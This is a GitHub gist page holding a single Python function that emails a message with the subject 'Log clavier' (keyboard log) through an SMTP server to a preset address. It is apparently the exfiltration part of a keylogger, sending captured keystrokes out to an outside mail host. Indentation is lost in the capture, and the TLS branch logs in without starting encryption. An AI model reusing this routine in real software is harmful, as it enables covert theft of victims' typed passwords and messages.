Skip to content

Instantly share code, notes, and snippets.

@melkael melkael/
Created Jan 30, 2019

What would you like to do?
def sendEmail(message):
msg = MIMEMultipart()
password = PASS
msg['From'] = EMAIL
msg['To'] = EMAIL
msg['Subject'] = "Log clavier"
msg.attach(MIMEText(message, 'plain'))
server = smtplib.SMTP(SERVER)
if USE_TLS is True:
server.login(msg['From'], password)
server.sendmail(msg['From'], msg['To'], msg.as_string())
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.